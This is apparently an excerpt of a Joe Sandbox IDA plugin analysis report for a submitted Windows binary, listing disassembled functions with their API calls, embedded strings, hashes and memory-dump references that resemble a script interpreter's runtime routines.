Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID$pbO
API String ID: 169749273-2135428632
Opcode ID: bc4461f4fc9e48f33f3ad92979c0453bab4e0f687a04ad8c65b905e1e940e4fe
Instruction ID: 75ad52eee72d67467a2ddb14166423d9963d83c8d367cf83c084f43e28bf6b41
Opcode Fuzzy Hash: bc4461f4fc9e48f33f3ad92979c0453bab4e0f687a04ad8c65b905e1e940e4fe
Instruction Fuzzy Hash: A4617E71108301AFC701EF65CC85EAFBBE8EF88314F400A2FF595921A1DB749909CB6A

Function 0048ABD4 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 0048AC33

Strings

HANDLE=, xrefs: 0048AC2C
REGEXP=, xrefs: 0048AC48
ACTIVE, xrefs: 0048AC0E
CLASSNAME=, xrefs: 0048AC70
[ALL, xrefs: 0048ACD9
[REGEXPTITLE:, xrefs: 0048AC5B
[ACTIVE, xrefs: 0048AC20
[HANDLE:, xrefs: 0048AC3F
LAST, xrefs: 0048ABF8
[LAST, xrefs: 0048ACE0
[CLASS:, xrefs: 0048AC83
ALL, xrefs: 0048ACC7

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: 8f45d2128f6a06d3eb9297e16753e489da88307d5bf4f1143f9e9dc64ed751a8
Instruction ID: f17064d7e02f5123ab1ecb655e95b1f53bf92a18fc00a1f051b45dea51263369
Opcode Fuzzy Hash: 8f45d2128f6a06d3eb9297e16753e489da88307d5bf4f1143f9e9dc64ed751a8
Instruction Fuzzy Hash: 8B31E670948209A6EA10FA52DE03FAE77A4AF1472AF30082FF441710D2EF9D6F14C65E

Function 004A4FFD Relevance: 25.6, APIs: 17, Instructions: 110COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F8A), ref: 004A5013
LoadCursorW.USER32(00000000,00007F00), ref: 004A501E
LoadCursorW.USER32(00000000,00007F03), ref: 004A5029
LoadCursorW.USER32(00000000,00007F8B), ref: 004A5034
LoadCursorW.USER32(00000000,00007F01), ref: 004A503F
LoadCursorW.USER32(00000000,00007F81), ref: 004A504A
LoadCursorW.USER32(00000000,00007F88), ref: 004A5055
LoadCursorW.USER32(00000000,00007F80), ref: 004A5060
LoadCursorW.USER32(00000000,00007F86), ref: 004A506B
LoadCursorW.USER32(00000000,00007F83), ref: 004A5076
LoadCursorW.USER32(00000000,00007F85), ref: 004A5081
LoadCursorW.USER32(00000000,00007F82), ref: 004A508C
LoadCursorW.USER32(00000000,00007F84), ref: 004A5097
LoadCursorW.USER32(00000000,00007F04), ref: 004A50A2
LoadCursorW.USER32(00000000,00007F02), ref: 004A50AD
LoadCursorW.USER32(00000000,00007F89), ref: 004A50B8
GetCursorInfo.USER32(?), ref: 004A50C8

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Cursor$Load$Info
String ID:
API String ID: 2577412497-0
Opcode ID: 2d82b1997b0c2db934e186bf00edad8b971beac6602514bb574a5577a27afed6
Instruction ID: 8ea8995f252440c5e35d25459b5201f1fadf388d95211cb73d74f5f6de2a797b
Opcode Fuzzy Hash: 2d82b1997b0c2db934e186bf00edad8b971beac6602514bb574a5577a27afed6
Instruction Fuzzy Hash: 243112B1D083196ADF109FB68C8996FBFE8FF14750F50453BA50CE7281DA78A5048F95

Function 004BA1B9 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004BA259
DestroyWindow.USER32(?,?), ref: 004BA2D3

Part of subcall function 00437BCC: _memmove.LIBCMT ref: 00437C06

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 004BA34D
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 004BA36F
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 004BA382
DestroyWindow.USER32(00000000), ref: 004BA3A4
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00430000,00000000), ref: 004BA3DB
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 004BA3F4
GetDesktopWindow.USER32 ref: 004BA40D
GetWindowRect.USER32(00000000), ref: 004BA414
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 004BA42C
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 004BA444

Part of subcall function 004325DB: GetWindowLongW.USER32(?,000000EB), ref: 004325EC

Strings

tooltips_class32, xrefs: 004BA346, 004BA3D4
0, xrefs: 004BA26F

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$tooltips_class32
API String ID: 1297703922-3619404913
Opcode ID: ea35ab72e6555ddd0b43c576d3da3e1d36d8c093fb0f0acb845192cac5a86570
Instruction ID: 2536100a1a3c640947b8f019ab7b3f885c2d4982e736a70032ad0b8d992ef3fa
Opcode Fuzzy Hash: ea35ab72e6555ddd0b43c576d3da3e1d36d8c093fb0f0acb845192cac5a86570
Instruction Fuzzy Hash: 88719E70140205AFD721DF18CC49FA77BE5FB88304F04452EF985872A0DBB8E926CB6A

Function 004B4392 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 004B4424
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 004B446F

Strings

SELECT, xrefs: 004B4620
GETTEXT, xrefs: 004B45C2
ISCHECKED, xrefs: 004B45F2
EXPAND, xrefs: 004B4521
CHECK, xrefs: 004B448F
EXISTS, xrefs: 004B44D8
COLLAPSE, xrefs: 004B44B5
GETSELECTED, xrefs: 004B457F
GETTOTALCOUNT, xrefs: 004B4456
UNCHECK, xrefs: 004B464B
GETITEMCOUNT, xrefs: 004B4551

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: 64f0386dfac72ab97d9a8020b9cc515bbcac2b9ccdb10bbe47d13cc124235f33
Instruction ID: 6bce17250ec8167e3d9bddfbfe18bfc5a6dd2d8690d2a1905a18f8f222205f9d
Opcode Fuzzy Hash: 64f0386dfac72ab97d9a8020b9cc515bbcac2b9ccdb10bbe47d13cc124235f33
Instruction Fuzzy Hash: 529192742007019FCB14EF15C451A6EB7E1AF95358F04886EF8965B3A3CB78ED0ACB59

Function 004BB7FE Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 197windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 004BB8B4
LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,004B91C2), ref: 004BB910
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 004BB949
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 004BB98C
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 004BB9C3
FreeLibrary.KERNEL32(?), ref: 004BB9CF
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 004BB9DF
DestroyIcon.USER32(?,?,?,?,?,004B91C2), ref: 004BB9EE
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 004BBA0B
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 004BBA17

Part of subcall function 00452EFD: __wcsicmp_l.LIBCMT ref: 00452F86

Strings

.icl, xrefs: 004BB82A
.exe, xrefs: 004BB84A
.dll, xrefs: 004BB86D

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
String ID: .dll$.exe$.icl
API String ID: 1212759294-1154884017
Opcode ID: 5a0d89538a11230e3efa3c52dd2215e2f0b6e82df200b9e456a8eac01380de2f
Instruction ID: 6b580ecac9b7349c9cb7e81bd87f801347b13b52f723dee0168cdfa98251b704
Opcode Fuzzy Hash: 5a0d89538a11230e3efa3c52dd2215e2f0b6e82df200b9e456a8eac01380de2f
Instruction Fuzzy Hash: 3361CEB1900205BAEB14DF65CC41BFE77A8FB08711F10461BF915D61C1DBB8A984DBA8

Function 0049DC1A Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 185timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0049DCDC
SystemTimeToFileTime.KERNEL32(?,?), ref: 0049DCEC
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 0049DCF8
__wsplitpath.LIBCMT ref: 0049DD56
_wcscat.LIBCMT ref: 0049DD6E
_wcscat.LIBCMT ref: 0049DD80
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 0049DD95
SetCurrentDirectoryW.KERNEL32(?), ref: 0049DDA9
SetCurrentDirectoryW.KERNEL32(?), ref: 0049DDDB
SetCurrentDirectoryW.KERNEL32(?), ref: 0049DDFC
_wcscpy.LIBCMT ref: 0049DE08
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 0049DE47

Strings

*.*, xrefs: 0049DE02

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
String ID: *.*
API String ID: 3566783562-438819550
Opcode ID: de097244591e4d98f73f76270a53f12414223f00b53c8d2cad539a006dfae625
Instruction ID: f0763abd8df5748c415b3a4ff348d3ec72e6b1739459b8ddb78ac8a82087aade
Opcode Fuzzy Hash: de097244591e4d98f73f76270a53f12414223f00b53c8d2cad539a006dfae625
Instruction Fuzzy Hash: CE616C725042059FCB10EF61C8849AFB7E8FF89314F04492EF989C7251DB79E949CB9A

Function 00499C38 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000016), ref: 00499C7F

Part of subcall function 00437DE1: _memmove.LIBCMT ref: 00437E22

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 00499CA0
__swprintf.LIBCMT ref: 00499CF9
__swprintf.LIBCMT ref: 00499D12
_wprintf.LIBCMT ref: 00499DB9
_wprintf.LIBCMT ref: 00499DD7

Strings

"%s" (%d) : ==> %s:%s%s, xrefs: 00499DB4
Line %d (File "%s"):, xrefs: 00499CF3, 00499D0C
Incorrect parameters to object property !, xrefs: 00499D5B
^ ERROR , xrefs: 00499D4E
"%s" (%d) : ==> %s:, xrefs: 00499DD2
Error: , xrefs: 00499D81

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-3080491070
Opcode ID: 593eff45f46a73993ef8d003e968f6807d1b0139a5ce7a360432da52b941a28a
Instruction ID: 38cab5eab740123b1d881cedff25dcd0ea52b9e1a311b45fe4439489bad17547
Opcode Fuzzy Hash: 593eff45f46a73993ef8d003e968f6807d1b0139a5ce7a360432da52b941a28a
Instruction Fuzzy Hash: A651A471900509AACF15EBE5CD46EEEBB78AF08305F20016FF505721A2EB392F59CB59

Function 0049A352 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00439837: __itow.LIBCMT ref: 00439862
Part of subcall function 00439837: __swprintf.LIBCMT ref: 004398AC

CharLowerBuffW.USER32(?,?), ref: 0049A3CB
GetDriveTypeW.KERNEL32 ref: 0049A418
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0049A460
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0049A497
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0049A4C5

Part of subcall function 00437BCC: _memmove.LIBCMT ref: 00437C06

Strings

open, xrefs: 0049A3F2
close, xrefs: 0049A3D1
wait, xrefs: 0049A482
type cdaudio alias cd wait, xrefs: 0049A443
close cd wait, xrefs: 0049A4B0
open , xrefs: 0049A427
set cd door , xrefs: 0049A466
closed, xrefs: 0049A3DF, 0049A3E8

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: 556f92ee365df9055bb0f57eededa0b82d64897cf20c5afd51811aeb6f5b0e31
Instruction ID: 2b8b275afd4dbf873d5921b2b5e04b2bd7ea0d7fd9a35abb55173920f5fd41dd
Opcode Fuzzy Hash: 556f92ee365df9055bb0f57eededa0b82d64897cf20c5afd51811aeb6f5b0e31
Instruction Fuzzy Hash: 3E518FB11143059FCB10EF12C88196BB7F4EF98718F10886EF89957251DB79ED09CB8A

Function 0048F8AA Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 138windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,00000000,?,0046E029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000), ref: 0048F8DF
LoadStringW.USER32(00000000,?,0046E029,00000001), ref: 0048F8E8

Part of subcall function 00437DE1: _memmove.LIBCMT ref: 00437E22

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,?,?,0046E029,00000001,0000138C,00000001,00000000,00000001,?,00000000,00000000,00000001), ref: 0048F90A
LoadStringW.USER32(00000000,?,0046E029,00000001), ref: 0048F90D
__swprintf.LIBCMT ref: 0048F95D
__swprintf.LIBCMT ref: 0048F96E
_wprintf.LIBCMT ref: 0048FA17
MessageBoxW.USER32(00000000,?,?,00011010), ref: 0048FA2E

Strings

^ ERROR, xrefs: 0048F9C3
%s (%d) : ==> %s: %s %s, xrefs: 0048FA12
Line %d:, xrefs: 0048F968
Line %d (File "%s"):, xrefs: 0048F957
Error: , xrefs: 0048F9E5

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 984253442-2268648507
Opcode ID: 426184fd088f8de2ef193321b3b9959b43226ac7dc23c5779cf17c3c2e07d56b
Instruction ID: 97ebd9df96d3ab0846bf371318d388fdc60a708638fb2906c119b8f4c71b2723
Opcode Fuzzy Hash: 426184fd088f8de2ef193321b3b9959b43226ac7dc23c5779cf17c3c2e07d56b
Instruction Fuzzy Hash: 614164B2800109AACF15FFE1DD46EEEB778AF18315F10146AF50572092EB396F09CB69

Function 004BBA33 Relevance: 22.6, APIs: 15, Instructions: 130filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,004B9207,?,?), ref: 004BBA56
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,004B9207,?,?,00000000,?), ref: 004BBA6D
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,004B9207,?,?,00000000,?), ref: 004BBA78
CloseHandle.KERNEL32(00000000,?,?,?,?,004B9207,?,?,00000000,?), ref: 004BBA85
GlobalLock.KERNEL32(00000000), ref: 004BBA8E
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,004B9207,?,?,00000000,?), ref: 004BBA9D
GlobalUnlock.KERNEL32(00000000), ref: 004BBAA6
CloseHandle.KERNEL32(00000000,?,?,?,?,004B9207,?,?,00000000,?), ref: 004BBAAD
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,004B9207,?,?,00000000,?), ref: 004BBABE
OleLoadPicture.OLEAUT32(?,00000000,00000000,004C2CAC,?), ref: 004BBAD7
GlobalFree.KERNEL32(00000000), ref: 004BBAE7
GetObjectW.GDI32(00000000,00000018,?), ref: 004BBB0B
CopyImage.USER32(00000000,00000000,?,?,00002000), ref: 004BBB36
DeleteObject.GDI32(00000000), ref: 004BBB5E
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 004BBB74

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: c04e8c051f16174370c94e140919dcd64c42ec636424765b2285e6dd31d3edcf
Instruction ID: 9f0fdafda148e7cce57fdd39a08c18a46a67a4f6558fd4795515287a9bdc703b
Opcode Fuzzy Hash: c04e8c051f16174370c94e140919dcd64c42ec636424765b2285e6dd31d3edcf
Instruction Fuzzy Hash: 60415775600208FFDB119F69DC88EABBBB8FB89711F104169F90AD7260C774AE05CB64

Function 0049D899 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

__wsplitpath.LIBCMT ref: 0049DA10
_wcscat.LIBCMT ref: 0049DA28
_wcscat.LIBCMT ref: 0049DA3A
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 0049DA4F
SetCurrentDirectoryW.KERNEL32(?), ref: 0049DA63
GetFileAttributesW.KERNEL32(?), ref: 0049DA7B
SetFileAttributesW.KERNEL32(?,00000000), ref: 0049DA95
SetCurrentDirectoryW.KERNEL32(?), ref: 0049DAA7

Strings

*.*, xrefs: 0049DAE6

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
String ID: *.*
API String ID: 34673085-438819550
Opcode ID: 3840be858e9b721e71c8f95fb15e2032d682e63d3e6dfd021b8c1ccc694b39a3
Instruction ID: 4b67461f1d7fac1195f09accd9e0c49c277a3fd710b0d332433846a9f6104a9b
Opcode Fuzzy Hash: 3840be858e9b721e71c8f95fb15e2032d682e63d3e6dfd021b8c1ccc694b39a3
Instruction Fuzzy Hash: 888180B19042419FCF24EF65C844A6BBBE4AF89314F14483FF889DB251E638ED45CB5A

Function 004BC1AC Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00432612: GetWindowLongW.USER32(?,000000EB), ref: 00432623

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 004BC1FC
GetFocus.USER32 ref: 004BC20C
GetDlgCtrlID.USER32(00000000), ref: 004BC217
_memset.LIBCMT ref: 004BC342
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 004BC36D
GetMenuItemCount.USER32(?), ref: 004BC38D
GetMenuItemID.USER32(?,00000000), ref: 004BC3A0
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 004BC3D4
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 004BC41C
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 004BC454
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 004BC489

Strings

0, xrefs: 004BC33A

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: a3cdb477ec2cbe306bb708f1c7248225256571e3c741957dde62423ac98be18f
Instruction ID: 44b227534b984fe46bd71ad8088ef5e669019ad1380c54da2e5c736fb4e79d23
Opcode Fuzzy Hash: a3cdb477ec2cbe306bb708f1c7248225256571e3c741957dde62423ac98be18f
Instruction Fuzzy Hash: 44816C70608301AFD714DF14C8D4AABBBE4EB88714F00492FFA9597291D778D905CBAA

Function 004A731A Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 004A738F
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 004A739B
CreateCompatibleDC.GDI32(?), ref: 004A73A7
SelectObject.GDI32(00000000,?), ref: 004A73B4
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 004A7408
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 004A7444
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 004A7468
SelectObject.GDI32(00000006,?), ref: 004A7470
DeleteObject.GDI32(?), ref: 004A7479
DeleteDC.GDI32(00000006), ref: 004A7480
ReleaseDC.USER32(00000000,?), ref: 004A748B

Strings

(, xrefs: 004A7410

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

